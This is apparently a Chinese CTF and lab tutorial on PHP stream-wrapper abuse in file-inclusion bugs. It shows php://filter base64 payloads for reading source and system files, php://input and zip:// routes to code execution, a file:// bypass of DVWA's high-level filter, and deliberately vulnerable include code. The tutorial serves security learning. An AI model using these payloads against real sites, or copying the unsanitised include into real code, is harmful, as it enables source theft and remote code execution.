这么弱鸡,是不是该更用功点
环境概述
PHP.ini:
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断
什么是php伪协议
PHP伪协议事实上就是支持的协议与封装协议(12种)
a. file:// — 访问本地文件系统
b. http:// — 访问 HTTP(s) 网址
c. ftp:// — 访问 FTP(s) URLs
d. php:// — 访问各个输入/输出流(I/O streams)
e. zlib:// — 压缩流
f. data:// — 数据(RFC 2397)
g. glob:// — 查找匹配的文件路径模式
h. phar:// — PHP 归档
i. ssh2:// — Secure Shell 2
j. rar:// — RAR
k. ogg:// — 音频流
l. expect:// — 处理交互式的流
在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
0x01 php:filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。1
2
3
4
5
6
7PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
简单说经常利用它进行base64编码,如1
php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini
可以运用多种过滤器(字符串/转换/压缩/加密)
输入url1
http://192.168.43.40/test.php?file=php://filter/read=convert.base64-encode/resource=file.php
然后这是一个base64的编码,我们在线解码一下:
0x02 php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。1
2
3
4
5PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
test.php1
2
3
4
5
6
$temp = $_GET['file'];
include $temp;
url1
http://127.0.0.1/test.php?file=php://input
POST DATA:1
phpinfo();
0x03 zip://, bzip2://, zlib://协议
PHP.ini:
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
zip://协议
使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
测试现象:
http://127.0.0.1/test.php?file=zip://C:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
file://
file://伪协议可以用于访问本地文件系统
这里挂上dvwa的high级别的靶场,用于作为例子1
2
3
4
5
6
7
8
9
10
11
12
13
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
fnmatch()函数匹配file开头的文件。
实际上这个过滤机制也不是最完美的,最好的WAF应该是将我们期待用户包含的文件给写死,如以下代码所至:1
2
3
4
5
6
7
8
9
10
11
12
13
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
所以在这里我们可以使用file://伪协议来进行绕过
payload如下:1
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://C:\phpStudy\PHPTutorial\WWW\dvwa\php.ini
如此我们就可以
php伪协议在ctf中的简单应用
0x01
观察源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
extract($_GET);
if(!empty($ac))
{
$f = trim(file_get_contents($fn));
}
if($ac===$f)
{
echo "the flag is this";
}
else
{
echo "no,you are stupid";
}
相关函数:
extract():该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
那也就是说我们以get方法传入的参数,参数名将会成为变量名,参数值值将会成为变量值。$ac与$fn就是我们传入的参数。
考察php伪协议php://input与file_get_contents()的应用
构造url为1
?ac=1&fn=php://input
post data1
1
关于file://协议的一个很好的例子
参考文章:https://blog.csdn.net/Ni9htMar3/article/details/69812306?locationNum=2&fps=1
参考文章:[https://blog.csdn.net/qq_33904831/article/details/78814567](https://blog.csdn.net/qq_33904831/article/details/78814567
)